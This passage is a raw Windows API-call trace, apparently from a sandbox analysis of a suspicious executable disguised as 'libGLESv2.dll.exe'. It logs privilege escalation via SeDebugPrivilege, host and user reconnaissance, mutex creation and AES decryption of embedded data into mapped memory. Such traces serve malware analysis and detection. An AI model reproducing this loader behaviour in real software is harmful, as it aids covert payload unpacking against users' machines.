lpReserved=0x0, lpType=0x1b30e538, lpData=0x0, lpcbData=0x1b30e530*=0x0 | out: lpType=0x1b30e538*=0x4, lpData=0x0, lpcbData=0x1b30e530*=0x4) returned 0x0 [0073.954] RegCloseKey (hKey=0x30c) returned 0x0 [0073.976] GetCurrentProcessId () returned 0xd70 [0073.982] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1b30d4e0 | out: lpLuid=0x1b30d4e0*(LowPart=0x14, HighPart=0)) returned 1 [0073.984] GetCurrentProcess () returned 0xffffffffffffffff [0073.984] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x1b30d4d8 | out: TokenHandle=0x1b30d4d8*=0x314) returned 1 [0073.984] AdjustTokenPrivileges (in: TokenHandle=0x314, DisableAllPrivileges=0, NewState=0x2561490*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0073.985] CloseHandle (hObject=0x314) returned 1 [0073.986] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd70) returned 0x314 [0074.041] EnumProcessModules (in: hProcess=0x314, lphModule=0x25614f8, cb=0x200, lpcbNeeded=0x1b30e490 | out: lphModule=0x25614f8, lpcbNeeded=0x1b30e490) returned 1 [0074.044] GetModuleInformation (in: hProcess=0x314, hModule=0xb00000, lpmodinfo=0x2561768, cb=0x18 | out: lpmodinfo=0x2561768*(lpBaseOfDll=0xb00000, SizeOfImage=0x1fa000, EntryPoint=0x0)) returned 1 [0074.045] CoTaskMemAlloc (cb=0x804) returned 0x6686a0 [0074.046] GetModuleBaseNameW (in: hProcess=0x314, hModule=0xb00000, lpBaseName=0x6686a0, nSize=0x800 | out: lpBaseName="libGLESv2.dll.exe") returned 0x11 [0074.046] CoTaskMemFree (pv=0x6686a0) [0074.047] CoTaskMemAlloc (cb=0x804) returned 0x6686a0 [0074.047] GetModuleFileNameExW (in: hProcess=0x314, hModule=0xb00000, lpFilename=0x6686a0, nSize=0x800 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe")) returned 0x2f [0074.047] CoTaskMemFree (pv=0x6686a0) [0074.048] CloseHandle (hObject=0x314) returned 1 [0074.050] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", nBufferLength=0x105, lpBuffer=0x1b30dfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", lpFilePart=0x0) returned 0x2f [0074.050] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SecurityProtocol", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b30e488 | out: phkResult=0x1b30e488*=0x0) returned 0x2 [0074.094] GetCurrentProcessId () returned 0xd70 [0074.094] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd70) returned 0x314 [0074.094] EnumProcessModules (in: hProcess=0x314, lphModule=0x2567ce0, cb=0x200, lpcbNeeded=0x1b30e4a0 | out: lphModule=0x2567ce0, lpcbNeeded=0x1b30e4a0) returned 1 [0074.095] GetModuleInformation (in: hProcess=0x314, hModule=0xb00000, lpmodinfo=0x2567f50, cb=0x18 | out: lpmodinfo=0x2567f50*(lpBaseOfDll=0xb00000, SizeOfImage=0x1fa000, EntryPoint=0x0)) returned 1 [0074.095] CoTaskMemAlloc (cb=0x804) returned 0x6686a0 [0074.095] GetModuleBaseNameW (in: hProcess=0x314, hModule=0xb00000, lpBaseName=0x6686a0, nSize=0x800 | out: lpBaseName="libGLESv2.dll.exe") returned 0x11 [0074.096] CoTaskMemFree (pv=0x6686a0) [0074.096] CoTaskMemAlloc (cb=0x804) returned 0x6686a0 [0074.096] GetModuleFileNameExW (in: hProcess=0x314, hModule=0xb00000, lpFilename=0x6686a0, nSize=0x800 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe")) returned 0x2f [0074.096] CoTaskMemFree (pv=0x6686a0) [0074.096] CloseHandle (hObject=0x314) returned 1 [0074.096] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", nBufferLength=0x105, lpBuffer=0x1b30dfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", lpFilePart=0x0) returned 0x2f [0074.096] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SchSendAuxRecord", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b30e498 | out: phkResult=0x1b30e498*=0x0) returned 0x2 [0074.096] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b30e498 | out: phkResult=0x1b30e498*=0x314) returned 0x0 [0074.096] RegQueryValueExW (in: hKey=0x314, lpValueName="SchSendAuxRecord", lpReserved=0x0, lpType=0x1b30e4d8, lpData=0x0, lpcbData=0x1b30e4d0*=0x0 | out: lpType=0x1b30e4d8*=0x0, lpData=0x0, lpcbData=0x1b30e4d0*=0x0) returned 0x2 [0074.096] RegCloseKey (hKey=0x314) returned 0x0 [0074.184] CoTaskMemAlloc (cb=0x20c) returned 0x663bb0 [0074.184] GetSystemDirectoryW (in: lpBuffer=0x663bb0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0074.184] CoTaskMemFree (pv=0x663bb0) [0074.187] GetComputerNameW (in: lpBuffer=0x1b30cd00, nSize=0x1b30d028 | out: lpBuffer="XC64ZB", nSize=0x1b30d028) returned 1 [0074.208] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20219, phkResult=0x1b30ba28 | out: phkResult=0x1b30ba28*=0x314) returned 0x0 [0074.209] RegQueryValueExW (in: hKey=0x314, lpValueName="ProductName", lpReserved=0x0, lpType=0x1b30ba78, lpData=0x0, lpcbData=0x1b30ba70*=0x0 | out: lpType=0x1b30ba78*=0x1, lpData=0x0, lpcbData=0x1b30ba70*=0x1e) returned 0x0 [0074.209] RegQueryValueExW (in: hKey=0x314, lpValueName="ProductName", lpReserved=0x0, lpType=0x1b30ba78, lpData=0x256b8d0, lpcbData=0x1b30ba70*=0x1e | out: lpType=0x1b30ba78*=0x1, lpData="Windows 10 Pro", lpcbData=0x1b30ba70*=0x1e) returned 0x0 [0074.212] RegCloseKey (hKey=0x314) returned 0x0 [0075.002] CoTaskMemAlloc (cb=0x20c) returned 0x663dd0 [0075.002] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x663dd0 | out: pszPath="C:\\Users\\RDhJ0CNFevzX") returned 0x0 [0075.007] CoTaskMemFree (pv=0x663dd0) [0075.007] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX", nBufferLength=0x105, lpBuffer=0x1b30c9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX", lpFilePart=0x0) returned 0x15 [0075.080] CoTaskMemAlloc (cb=0x20c) returned 0x664210 [0075.080] GetSystemDirectoryW (in: lpBuffer=0x664210, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0075.080] CoTaskMemFree (pv=0x664210) [0075.086] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1b30ca00, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0075.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d040) returned 1 [0075.090] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\", lpFreeBytesAvailableToCaller=0x1b30d0d8, lpTotalNumberOfBytes=0x1b30d0d0, lpTotalNumberOfFreeBytes=0x1b30d0c8 | out: lpFreeBytesAvailableToCaller=0x1b30d0d8, lpTotalNumberOfBytes=0x1b30d0d0, lpTotalNumberOfFreeBytes=0x1b30d0c8) returned 1 [0075.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30cff0) returned 1 [0075.281] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x1b30cf60 | out: pfEnabled=0x1b30cf60) returned 0x0 [0075.759] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full", ulOptions=0x0, samDesired=0x20219, phkResult=0x1b30cd58 | out: phkResult=0x1b30cd58*=0x39c) returned 0x0 [0075.764] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b30cda8, lpData=0x0, lpcbData=0x1b30cda0*=0x0 | out: lpType=0x1b30cda8*=0x4, lpData=0x0, lpcbData=0x1b30cda0*=0x4) returned 0x0 [0075.764] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b30cda8, lpData=0x1b30cd88, lpcbData=0x1b30cda0*=0x4 | out: lpType=0x1b30cda8*=0x4, lpData=0x1b30cd88*=0x60636, lpcbData=0x1b30cda0*=0x4) returned 0x0 [0075.765] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b30cda8, lpData=0x0, lpcbData=0x1b30cda0*=0x0 | out: lpType=0x1b30cda8*=0x4, lpData=0x0, lpcbData=0x1b30cda0*=0x4) returned 0x0 [0075.765] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b30cda8, lpData=0x1b30cd88, lpcbData=0x1b30cda0*=0x4 | out: lpType=0x1b30cda8*=0x4, lpData=0x1b30cd88*=0x60636, lpcbData=0x1b30cda0*=0x4) returned 0x0 [0075.766] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b30cda8, lpData=0x0, lpcbData=0x1b30cda0*=0x0 | out: lpType=0x1b30cda8*=0x4, lpData=0x0, lpcbData=0x1b30cda0*=0x4) returned 0x0 [0075.766] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b30cda8, lpData=0x1b30cd88, lpcbData=0x1b30cda0*=0x4 | out: lpType=0x1b30cda8*=0x4, lpData=0x1b30cd88*=0x60636, lpcbData=0x1b30cda0*=0x4) returned 0x0 [0075.766] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b30cda8, lpData=0x0, lpcbData=0x1b30cda0*=0x0 | out: lpType=0x1b30cda8*=0x4, lpData=0x0, lpcbData=0x1b30cda0*=0x4) returned 0x0 [0075.766] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b30cda8, lpData=0x1b30cd88, lpcbData=0x1b30cda0*=0x4 | out: lpType=0x1b30cda8*=0x4, lpData=0x1b30cd88*=0x60636, lpcbData=0x1b30cda0*=0x4) returned 0x0 [0075.767] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b30cda8, lpData=0x0, lpcbData=0x1b30cda0*=0x0 | out: lpType=0x1b30cda8*=0x4, lpData=0x0, lpcbData=0x1b30cda0*=0x4) returned 0x0 [0075.767] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b30cda8, lpData=0x1b30cd88, lpcbData=0x1b30cda0*=0x4 | out: lpType=0x1b30cda8*=0x4, lpData=0x1b30cd88*=0x60636, lpcbData=0x1b30cda0*=0x4) returned 0x0 [0075.768] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b30cda8, lpData=0x0, lpcbData=0x1b30cda0*=0x0 | out: lpType=0x1b30cda8*=0x4, lpData=0x0, lpcbData=0x1b30cda0*=0x4) returned 0x0 [0075.768] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b30cda8, lpData=0x1b30cd88, lpcbData=0x1b30cda0*=0x4 | out: lpType=0x1b30cda8*=0x4, lpData=0x1b30cd88*=0x60636, lpcbData=0x1b30cda0*=0x4) returned 0x0 [0075.770] RegCloseKey (hKey=0x39c) returned 0x0 [0075.788] GetComputerNameW (in: lpBuffer=0x1b30e210, nSize=0x1b30e538 | out: lpBuffer="XC64ZB", nSize=0x1b30e538) returned 1 [0075.791] GetUserNameW (in: lpBuffer=0x1b30e230, pcbBuffer=0x1b30e558 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x1b30e558) returned 1 [0076.214] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="51b7c2937dcd51371bf473f140592a8b88356288") returned 0x0 [0076.238] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Local\\51b7c2937dcd51371bf473f140592a8b88356288") returned 0x2fc [0083.905] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a00, lpName=0x0) returned 0x2f0 [0083.905] memcpy (in: _Dst=0x530000, _Src=0x269b2f0, _Size=0x7a00 | out: _Dst=0x530000) returned 0x530000 [0085.331] CryptAcquireContextW (in: phProv=0x1b30bbc8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b30bbc8*=0x652990) returned 1 [0085.348] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x1 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.349] CoTaskMemAlloc (cb=0x20) returned 0x1b410760 [0085.349] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b410760, pdwDataLen=0x1b30bb80, dwFlags=0x1 | out: pbData=0x1b410760, pdwDataLen=0x1b30bb80) returned 1 [0085.349] CoTaskMemFree (pv=0x1b410760) [0085.349] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.349] CoTaskMemAlloc (cb=0x20) returned 0x1b4108e0 [0085.349] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b4108e0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b4108e0, pdwDataLen=0x1b30bb80) returned 1 [0085.350] CoTaskMemFree (pv=0x1b4108e0) [0085.350] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.350] CoTaskMemAlloc (cb=0x20) returned 0x1b4101c0 [0085.350] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b4101c0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b4101c0, pdwDataLen=0x1b30bb80) returned 1 [0085.350] CoTaskMemFree (pv=0x1b4101c0) [0085.350] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.350] CoTaskMemAlloc (cb=0x20) returned 0x1b410c10 [0085.350] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b410c10, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b410c10, pdwDataLen=0x1b30bb80) returned 1 [0085.350] CoTaskMemFree (pv=0x1b410c10) [0085.350] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.350] CoTaskMemAlloc (cb=0x20) returned 0x1b410af0 [0085.350] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b410af0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b410af0, pdwDataLen=0x1b30bb80) returned 1 [0085.350] CoTaskMemFree (pv=0x1b410af0) [0085.350] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.350] CoTaskMemAlloc (cb=0x20) returned 0x1b410b80 [0085.350] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b410b80, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b410b80, pdwDataLen=0x1b30bb80) returned 1 [0085.350] CoTaskMemFree (pv=0x1b410b80) [0085.350] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.350] CoTaskMemAlloc (cb=0x20) returned 0x1b410400 [0085.350] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b410400, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b410400, pdwDataLen=0x1b30bb80) returned 1 [0085.351] CoTaskMemFree (pv=0x1b410400) [0085.351] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.351] CoTaskMemAlloc (cb=0x20) returned 0x1b410550 [0085.351] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b410550, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b410550, pdwDataLen=0x1b30bb80) returned 1 [0085.351] CoTaskMemFree (pv=0x1b410550) [0085.351] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.351] CoTaskMemAlloc (cb=0x20) returned 0x1b410550 [0085.351] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b410550, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b410550, pdwDataLen=0x1b30bb80) returned 1 [0085.351] CoTaskMemFree (pv=0x1b410550) [0085.351] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.351] CoTaskMemAlloc (cb=0x20) returned 0x1b410760 [0085.351] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b410760, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b410760, pdwDataLen=0x1b30bb80) returned 1 [0085.351] CoTaskMemFree (pv=0x1b410760) [0085.351] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.351] CoTaskMemAlloc (cb=0x20) returned 0x1b4106a0 [0085.351] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b4106a0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b4106a0, pdwDataLen=0x1b30bb80) returned 1 [0085.351] CoTaskMemFree (pv=0x1b4106a0) [0085.351] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.351] CoTaskMemAlloc (cb=0x20) returned 0x1b4102e0 [0085.352] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b4102e0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b4102e0, pdwDataLen=0x1b30bb80) returned 1 [0085.352] CoTaskMemFree (pv=0x1b4102e0) [0085.352] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.352] CoTaskMemAlloc (cb=0x20) returned 0x1b410a00 [0085.352] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b410a00, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b410a00, pdwDataLen=0x1b30bb80) returned 1 [0085.352] CoTaskMemFree (pv=0x1b410a00) [0085.352] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.352] CoTaskMemAlloc (cb=0x20) returned 0x1b410bb0 [0085.352] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b410bb0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b410bb0, pdwDataLen=0x1b30bb80) returned 1 [0085.352] CoTaskMemFree (pv=0x1b410bb0) [0085.352] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.352] CoTaskMemAlloc (cb=0x20) returned 0x1b4107f0 [0085.352] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b4107f0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b4107f0, pdwDataLen=0x1b30bb80) returned 1 [0085.352] CoTaskMemFree (pv=0x1b4107f0) [0085.352] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.352] CoTaskMemAlloc (cb=0x20) returned 0x1b410940 [0085.352] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b410940, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b410940, pdwDataLen=0x1b30bb80) returned 1 [0085.352] CoTaskMemFree (pv=0x1b410940) [0085.352] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.352] CoTaskMemAlloc (cb=0x20) returned 0x1b4100d0 [0085.352] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b4100d0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b4100d0, pdwDataLen=0x1b30bb80) returned 1 [0085.353] CoTaskMemFree (pv=0x1b4100d0) [0085.353] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.353] CoTaskMemAlloc (cb=0x20) returned 0x1b410820 [0085.353] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b410820, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b410820, pdwDataLen=0x1b30bb80) returned 1 [0085.353] CoTaskMemFree (pv=0x1b410820) [0085.353] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.353] CoTaskMemAlloc (cb=0x20) returned 0x1b410880 [0085.353] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b410880, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b410880, pdwDataLen=0x1b30bb80) returned 1 [0085.353] CoTaskMemFree (pv=0x1b410880) [0085.353] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 1 [0085.353] CoTaskMemAlloc (cb=0x20) returned 0x1b410760 [0085.353] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x1b410760, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x1b410760, pdwDataLen=0x1b30bb80) returned 1 [0085.353] CoTaskMemFree (pv=0x1b410760) [0085.353] CryptGetProvParam (in: hProv=0x652990, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b30bb80, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b30bb80) returned 0 [0085.413] CryptImportKey (in: hProv=0x652990, pbData=0x26afda0*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b30bb50 | out: phKey=0x1b30bb50*=0x6250d0) returned 1 [0085.437] CryptContextAddRef (hProv=0x652990, pdwReserved=0x0, dwFlags=0x0) returned 1 [0085.441] CryptContextAddRef (hProv=0x652990, pdwReserved=0x0, dwFlags=0x0) returned 1 [0085.443] CryptDuplicateKey (in: hKey=0x6250d0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b30bb40 | out: phKey=0x1b30bb40*=0x5fd120) returned 1 [0085.443] CryptContextAddRef (hProv=0x652990, pdwReserved=0x0, dwFlags=0x0) returned 1 [0085.443] CryptSetKeyParam (hKey=0x5fd120, dwParam=0x4, pbData=0x26afee8*=0x1, dwFlags=0x0) returned 1 [0085.444] CryptSetKeyParam (hKey=0x5fd120, dwParam=0x1, pbData=0x26afe98, dwFlags=0x0) returned 1 [0085.444] CryptDestroyKey (hKey=0x6250d0) returned 1 [0085.445] CryptReleaseContext (hProv=0x652990, dwFlags=0x0) returned 1 [0085.446] CryptReleaseContext (hProv=0x652990, dwFlags=0x0) returned 1 [0085.449] CryptDecrypt (in: hKey=0x5fd120, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26aff08, pdwDataLen=0x1b30bca0 | out: pbData=0x26aff08, pdwDataLen=0x1b30bca0) returned 1 [0085.459] CryptDecrypt (in: hKey=0x5fd120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x26b06b0, pdwDataLen=0x1b30bc90 | out: pbData=0x26b06b0, pdwDataLen=0x1b30bc90) returned 0 [0086.468] CryptDestroyKey (hKey=0x5fd120) returned 1 [0086.468] CryptReleaseContext (hProv=0x652990, dwFlags=0x0) returned 1 [0086.468] CryptReleaseContext (hProv=0x652990, dwFlags=0x0) returned 1 [0086.843] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1000, lpName=0x0) returned 0x3a8 [0086.843] memcpy (in: _Dst=0x540000, _Src=0x26c4ed8, _Size=0x1000 | out: _Dst=0x540000) returned 0x540000 [0086.949] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14e00, lpName=0x0) returned 0x3a8 [0086.949] memcpy (in: _Dst=0x550000, _Src=0x132ef0d8, _Size=0x14e00 | out: _Dst=0x550000) returned 0x550000 [0087.522] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1000, lpName=0x0) returned 0x3b8 [0087.522] memcpy (in: _Dst=0x570000, _Src=0x26d14e0, _Size=0x1000 | out: _Dst=0x570000) returned 0x570000 [0087.633] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a00, lpName=0x0) returned 0x3b8 [0087.633] memcpy (in: _Dst=0x580000, _Src=0x26d5378, _Size=0x9a00 | out: _Dst=0x580000) returned 0x580000 [0088.005] CryptAcquireContextW (in: phProv=0x1b30b838, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b30b838*=0x652e90) returned 1 [0088.005] CryptImportKey (in: hProv=0x652e90, pbData=0x26e1620*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b30b7c0 | out: phKey=0x1b30b7c0*=0x5fd120) returned 1 [0088.006] CryptContextAddRef (hProv=0x652e90, pdwReserved=0x0, dwFlags=0x0) returned 1 [0088.006] CryptContextAddRef (hProv=0x652e90, pdwReserved=0x0, dwFlags=0x0) returned 1 [0088.006] CryptDuplicateKey (in: hKey=0x5fd120, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b30b7b0 | out: phKey=0x1b30b7b0*=0x6250d0) returned 1 [0088.006] CryptContextAddRef (hProv=0x652e90, pdwReserved=0x0, dwFlags=0x0) returned 1 [0088.006] CryptSetKeyParam (hKey=0x6250d0, dwParam=0x4, pbData=0x26e1740*=0x1, dwFlags=0x0) returned 1 [0088.006] CryptSetKeyParam 